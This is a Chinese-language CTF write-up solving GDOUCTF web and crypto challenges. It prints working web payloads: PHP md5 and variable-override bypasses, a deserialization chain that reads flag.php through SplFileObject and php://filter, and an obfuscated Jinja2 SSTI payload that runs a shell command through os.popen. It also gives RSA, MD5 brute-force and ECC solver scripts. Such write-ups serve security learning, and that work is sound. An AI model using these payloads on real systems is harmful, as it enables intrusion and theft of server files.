GDOUCTF比赛WEBCRYPTO方向全解!!
前言
本次wp的制作過程耗時比較長,也有一些代碼源于大佬師傅們的exp,進行了一定的詳細解釋,有助于剛開始學習的師傅們可以看的懂,整體是比較細節的,會一步一步帶大家去解題,一步步說明為什么要這樣解題,題目考查了哪些知識點,希望對大家有所幫助!如有不當之處敬請批評指正!
Web
hate eat snake
考點:界面修改js
解題:
首先看到是一個貪吃蛇游戲界面,類似這種游戲比如下象棋之類的都可能是對界面的js進行修改達到某種效果。
然后根據題目描述:cancanwordnewnew去js界面看看有什么相關信息。
匹配到new信息
常規姿勢:在控制臺中修改地圖大小,給Snake函數傳遞默認參數
其他姿勢:
根據題目游戲界面信息,發現60分以上才彈出flag,繼續瀏覽js的內容,發現里面有調整score的地方
?Snake.prototype?=?{getScore:function(){///var?score?=?Math.round((this.timeCounter?+?new?Date().getTime()?-?this.startTime)?/?1000);/return?score;},}發現這個在這個里面可以修改分數,那直接調整分數直接彈窗就好了
嘿嘿,成功彈窗
EZ WEB
考點:源碼泄露,PUT請求
解題:
界面沒什么有用的信息,查看一下源碼,發現訪問目錄位置
訪問后自動下載之后成功得到源碼
?import?flaskapp?=?flask.Flask(__name__)@app.route('/',?methods=['GET'])def?index():return?flask.send_file('index.html')@app.route('/src',?methods=['GET'])def?source():return?flask.send_file('app.py')@app.route('/super-secret-route-nobody-will-guess',?methods=['PUT'])def?flag():return?open('flag').read()最后一句鎖定目標,用PUT發送請求到該目錄位置
利用burpsuite進行抓包,發送請求
成功獲取flag
受不了一點
考點:php語言特性利用
解題:
進入界面非常板正的一片php語言
??<?phperror_reporting(0);header("Content-type:text/html;charset=utf-8");if(isset($_POST['gdou'])&&isset($_POST['ctf'])){$b=$_POST['ctf'];$a=$_POST['gdou'];if($_POST['gdou']!=$_POST['ctf']?&&?md5($a)===md5($b)){if(isset($_COOKIE['cookie'])){if?($_COOKIE['cookie']=='j0k3r'){if(isset($_GET['aaa'])?&&?isset($_GET['bbb'])){$aaa=$_GET['aaa'];$bbb=$_GET['bbb'];if($aaa==114514?&&?$bbb==114514?&&?$aaa!=$bbb){$give?=?'cancanwordflag';$get?='hacker!';//有一個不設置即可繞過if(!isset($_GET['flag'])?&&?!isset($_POST['flag'])){die($give);}//都不能直接傳flag = flagif($_POST['flag']?===?'flag'?||?$_GET['flag']?===?'flag'){die($get);}foreach?($_POST?as?$key?=>?$value) {$$key?=?$value;}foreach?($_GET?as?$key?=>?$value) {$$key?=?$$value;}echo?$flag;}else{echo?"洗洗睡吧";}}else{echo?"行不行啊細狗";}}}else?{echo?'菜菜';}}else{echo?"就這?";}}else{echo?"別來沾邊";}?>?別來沾邊?? ?//這個地方“別來沾邊”是頁面的回顯常規解題需要一層一層的揭開if語句條件的限制,耐心一點,最終一定可以獲得flag
開始一道一道的攻破
首先傳入兩個參數,成功繞過第一層限制
然后進行繞過md5相等的匹配限制,把兩個參數類型變為數組即可騙過md5驗證。
然后傳入cookie值
然后在此基礎上傳入GET型參數
然后對這兩個參數按照要求賦值,兩個數字即需要滿足都是114514 并且兩個值又不能相等,在末尾加個字符就好了
最后需要通過POST和GET的組合傳參去使得echo出正確的flag,過程有點繞,所以拉出源碼仔細分析一下
?foreach?($_POST?as?$key?=>?$value) {$$key?=?$value;}foreach?($_GET?as?$key?=>?$value) {$$key?=?$$value;}echo?$flag;foreach:值遍歷函數 按照括號里面的內容也可以理解,就是把POST或者是GET傳來的內容作為key 然后還有一個value值,先給出正確姿勢后進行剖析
先分析POST傳參的內容:$key = a ? $_value = flag ?注意內部的$符號個數,然后執行為: ?$a= flag
然后依次進行兩個get型的遍歷:$a = $flag ? ? $flag = $a
最終需要 $flag = $flag 才能使得flag變量的值不會改變
因為這兩個foreach必須執行結束才會echo,所以設置一個初始變量a,然后在get中進行覆蓋。
成功得到flag!
泄露的偽裝
考點:源碼泄露 php偽協議
解題:
首先打開界面沒有任何東西,查看頁面源代碼也沒有任何東西,所以直接dirsearch一下,確實發現網頁壓縮包
訪問后給出提示
訪問后得到源碼
很顯然,get傳參數cxk ? 然后讀取cxk這個變量名的文件,如果這個文件里面的內容是ctrl則返回為真
利用php偽協議當文件名參數設置為php://input就會輸出post里面寫入的內容作為文件的內容,且這個post中讀取的數據當做php代碼執行,故還可以導致任意代碼執行,當然我們這道題用不到
到此成功獲取flag!
反方向的鐘
考點:php反序列化利用
解題:
題目源代碼:
??<?phperror_reporting(0);highlight_file(__FILE__);// flag.phpclass?teacher{public?$name;public?$rank;private?$salary;public?function?__construct($name,$rank,$salary?=?10000){$this->name?=?$name;$this->rank?=?$rank;$this->salary?=?$salary;}}class?classroom{public?$name;public?$leader;public?function?__construct($name,$leader){$this->name?=?$name;$this->leader?=?$leader;}public?function?hahaha(){if($this->name?!=?'one class'?or?$this->leader->name?!=?'ing'?or?$this->leader->rank?!='department'){return?False;}else{return?True;}}}class?school{public?$department;public?$headmaster;public?function?__construct($department,$ceo){$this->department?=?$department;$this->headmaster?=?$ceo;}public?function?IPO(){if($this->headmaster?==?'ong'){echo?"Pretty Good ! Ctfer!\n";echo?new?$_POST['a']($_POST['b']);}}public?function?__wakeup(){if($this->department->hahaha()) {$this->IPO();}}}if(isset($_GET['d'])){unserialize(base64_decode($_GET['d']));}?>很明確,我們需要讀取flag.php文件里面的內容
第一步:刪除無效信息
?<?php// flag.phpclass?teacher{public?$name;public?$rank;private?$salary;// public function __construct($name,$rank,$salary = 10000){// ? ? $this->name = $name;// ? ? $this->rank = $rank;// ? ? $this->salary = $salary;// }}class?classroom{public?$name;public?$leader;// public function __construct($name,$leader){// ? ? $this->name = $name;// ? ? $this->leader = $leader;// }// public function hahaha(){// ? ? if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){// ? ? ? ? return False;// ? ? }// ? ? else{// ? ? ? ? return True;// ? ? }// }}class?school{public?$department;public?$headmaster;// public function __construct($department,$ceo){ ? ? //new對象的時候觸發// ? ? $this->department = $department;// ? ? $this->headmaster = $ceo;// }// public function IPO(){// ? ? if($this->headmaster == 'ong'){// ? ? ? ? echo "Pretty Good ! Ctfer!\n";// ? ? ? ? echo new $_POST['a']($_POST['b']);// ? ? }// }// public function __wakeup(){// ? ? if($this->department->hahaha()) {// ? ? ? ? $this->IPO();// ? ? }// }}// if(isset($_GET['d'])){// ? ? unserialize(base64_decode($_GET['d']));// }?>構造語句:
?//創建函數調用函數_construct函數$a?=?new?school();//賦值$a?->?headmaster?=?'ong';$a?->?department?=?new?classroom();$a?->?department?->?name?=?'one class';$a?->?department?->?leader?=?new?teacher();$a?->?department?->?leader?->?name?=?'ing';$a?->?department?->?leader?->?rank?=?'department';echo(base64_encode(serialize($a)));到此成功進入IPO函數中
然后通過題目的下一句POST信息進行讀取文件
證明成功打入到這個語句內部了,下面看到存在一個new 并且 是 __( _ )這種格式,就想到可以利用php里面的原生類進行文件讀取flag.php(題目代碼中明確標注了這個名字)的工作
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php成功獲取一段base64
解密后成功得到flag!
<ez_ze>
考點:SSTI模板注入
解題:
直接可以使用的payload,已表明原文鏈接:
?name={%set?pop=dict(po=a,p=b)|join%}{%set?xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}{%set?globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{%set?get=dict(get=a)|join%}{%set?shell=dict(o=a,s=b)|join%}{%set?c=dict(po=a,pen=b)|join%}{%set?builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set?ch=dict(ch=a,r=b)|join%}{%set?char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}{%set?command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}{%set?read=dict(read=a)|join%}{%set?result=(lipsum|attr(globals))|attr(get)(shell)|attr(c)(command)|attr(read)()%}{%print?result%}————————————————版權聲明:本文為CSDN博主「a?cainiaoxiaobai」的原創文章,遵循CC?4.0?BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。原文鏈接:https://blog.csdn.net/m0_63441547/article/details/130185563-
對payload進行拆解分析,理解每一行的含義以及作用是什么!
Crypto
Normal_Rsa(revenge)
考點:對于rsa算法本質的理解
解題:
首先在題目中提取加密原理信息
?from?Crypto.Util.number?import?*#from shin import flagm=bytes_to_long(b'HDCTF{******}')e=65537p=getPrime(256)q=getPrime(512)r=getPrime(512)n=p*q*rP=pow(p,2,n)Q=pow(q,2,n)c=pow(m,e,n)print(f"P =?{P}")print(f"Q =?{Q}")print(f"n =?{n}")print(f"c =?{c}")'''P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785'''首先我們知道:
P=p^2(mod n)
Q=q^2(mod n)
這樣通過開平方就可以得到p,q ?進而得知r
p,q,r是n分解的三個素數 ?
然后可知n的歐拉函數就是分解的每個素數減1后相乘
phi = (p - 1) * (q - 1) * (r - 1)
然后要去獲取密鑰d
d 是e對于phi的模反元素:ed ≡ 1 (mod phi)
最后明文m = c^d(mod n)
編寫解密Python腳本
?import?gmpy2from?Crypto.Util.number?import?*P?=?8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961Q?=?112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401n?=?12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749c?=?7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785e?=?65537p?=?gmpy2.iroot(P,2)[0] ??#中括號0表示取整數部分q?=?gmpy2.iroot(Q,2)[0]r?=?n?//?(p?*?q) ? ? ? ? ?#雙除號表示取整phi?=?(p?-?1)?*?(q?-?1)?*?(r?-?1)d?=?gmpy2.invert(e,?phi)m?=?pow(c,d,n)print(long_to_bytes(int(m)))成功獲得flag!
Absolute_Baby_Encryption
考點:古典密碼單表置換
解題:
打開后發現提供了加密方式
最簡單但是稍微麻煩就是手工把每一組進行對換,然后因為是js語句,直接在任意網頁的控制臺運行該腳本,輸入附件中的密文就可以得到flag!
babylua
考點:加密方式的解讀與MD5爆破
解題:
附件下載后有一個md5的文件沒有任何用,只是說明md5的工作的與解題無關不用看,然后直奔以題目命名的babylua加密文本
?local?flag?=?''?--這里是你要逆推出的flaglocal?md5?=?require("md5")math.randomseed(os.time())local?function?randomStr(len) ??--不需要知道里面是怎么運行的只需要按照名稱知道這是一個生成指定長度的隨機字符串的函數就好-- ? ? local rankStr = ""-- ? ? local randNum = 0-- ? ? for i = 1, len do-- ? ? ? ? randNum = math.random(1, 2)-- ? ? ? ? if randNum == 1 then-- ? ? ? ? ? ? rankStr = rankStr .. string.char(math.random(65, 90))-- ? ? ? ? elseif randNum == 2 then-- ? ? ? ? ? ? rankStr = rankStr .. string.char(math.random(97, 122))-- ? ? ? ? end-- ? ? end-- ? ? return rankStr-- endlocal?seed?=?randomStr(4) ??--隨機生成一個4位長的字符串給seedlocal?key?=?md5.sumhexa(md5.sumhexa(seed)) ??--MD5自帶摘要函數兩次print(key:sub(1,10)) ? ? ? ? ??--打印這個key的前10位--b5e62abe84secret?= {} ??--開創secret數組for?i?=?1, #flag?do?? ?--遍歷flag里面的每一個字符進行與key對應加密結果放到secret數組中secret[i] =?string.byte(flag:sub(i,i)) +?string.byte(key:sub(i,i))end--最后輸出secret里面的內容for?i,?v?in?ipairs(secret)?doio.write(v,?' ')endprint()--200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225--程序運行輸出結果:--b5e62abe84--200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225--請你分析代碼,逆向推出flag題目的分析已經在注釋中寫出了,主要是有一些語法可能不清楚,但是并不影響對題目加密方式的理解,甚至包括一些函數我們并不需要知道他是怎么去運行的,而是知道他的效果是什么,本質是什么即可對應寫出解密的腳本
加密流程總結:
首先是隨機產生4位長的種子(慶幸只有4位長度比較短才有爆破的機會)
然后對這4位長的種子進行兩次md5摘要加密存為密鑰key
然后將flag的每一位和key的每一位相加放到secret數組中
解密腳本:
?from?hashlib?import?md5#已知信息key?=?'b5e62abe84'secret=[200,161,198,157,173,169,199,150,105,163,193,175,173,194,135,131,135,225]flag?=?''finalKey=?''#爆破找出原始長度為4的隨機字符串seedfor?i?in?range(65,123):for?j?in?range(65,123):for?k?in?range(65,123):for?l?in?range(65,123):#chr()的功能是把ascii碼轉換為字符originalSeed=chr(i)+chr(j)+chr(k)+chr(l)#兩次MD5摘要 encode()方法將originalSeed字符串編碼為字節序列(bytes),然后傳遞給md5()函數計算MD5摘要a?=?md5(originalSeed.encode()).hexdigest()b?=?md5(a.encode()).hexdigest()#如果爆破后的值與key相同則表明爆破成功if(b[:10]==key):print(b)finalKey?=?bbreakfor?i?in?range(len(secret)):#ord()的功能是把字符轉換成ascii碼值flag?+=?chr(secret[i]?-?ord(finalKey[i]))print(flag)最終結果:
到此成功獲取flag!
Math problem
考點:橢圓曲線加密(ECC) ? ? RSA算法
解題:
題目:
?#!/usr/bin/env sageimport?secretfrom?Crypto.Util.number?import?*#首先明確這個flag在rsa算法中,然后妄想通過在線網站分解n 但是太天真了,需要通過下面的橢圓曲線求得模數pp,?q?=?getPrime(512),?getPrime(512)e,?n?=?0x10001,?p?*?qc?=?pow(bytes_to_long(secret.flag),?e,?n)print(f"{e?=?}\n{n?=?}\n{c?=?}")#把橢圓曲線定義在域上 在域上進行加減乘除后結果仍然在域上#如果域F只包含有限個元素,則稱其為有限域 有限域的階可表示為p^n (p是素數 n是正整數)#該有限域記作GF(p^n) ? 保證結果一直在集合里面則進行取模操作a,?b?=?getPrime(512),?getPrime(512)#創建一個橢圓曲線對象E 模數是p 兩個參數分別是a和bE?=?EllipticCurve(GF(p), [a,?b])#通過lift_x方法生成在E框架下的一個點G的x坐標就是括號里的參數G?=?E.lift_x(ZZ(getPrime(64)))#后面通過調用xy方法輸出G點的y坐標print(f"{a?=?}\n{b?=?}\ny =?{G.xy()[1]}")'''e = 65537n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854'''解題:
?#求出G點的x坐標R.<x>?=?PolynomialRing(Zmod(n))f=x**3+a*x+b-y**2f=f.monic()x0?=?f.small_roots(X=2^64,?beta=0.4,epsilon=0.01)print(x0)x=9757458594430450711 ?#求出rsa需要的p#y^2=x^3+a*x+b (mod p),那么就有kp=x^3+a*x+b-y^2 如果時負數取絕對值就好了kp=pow(y,2)-b-a*x-x**3import?gmpy2p=gmpy2.gcd(kp,n) ?#輸出最終結果q=n//pd=gmpy2.invert(e,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))合并之后為:
?from?Crypto.Util.number?import?*import?gmpy2e?=?65537n?=?79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877c?=?45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008a?=?9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619b?=?9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913y?=?970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854R.<x>?=?PolynomialRing(Zmod(n))f=x**3+a*x+b-y**2f=f.monic()x0?=?f.small_roots(X=2^64,?beta=0.4,epsilon=0.01)[0]x=int(x0)kp=pow(y,2)-b-a*x-x**3p=gmpy2.gcd(kp,n)q=n//pd=gmpy2.invert(e,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(int(m)))注意一定是在sage這個程序中,如果師傅是第一次接觸這個,附下載鏈接:https://mirrors.aliyun.com/sagemath/win/index.html
到此成功獲得flag!
以上就是本次GDOUCTF比賽在web和crypto方向的全部wp了,感謝師傅們的耐心閱讀,希望能對大家有所幫助!
我是哈皮,祝您每天嗨皮,我們下期再見!
總結
以上是生活随笔為你收集整理的GDOUCTF比赛WEBCRYPTO方向全解!!的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 抖音短视频数据抓取实战系列(九)——自动
- 下一篇: XShell下载安装并连接阿里云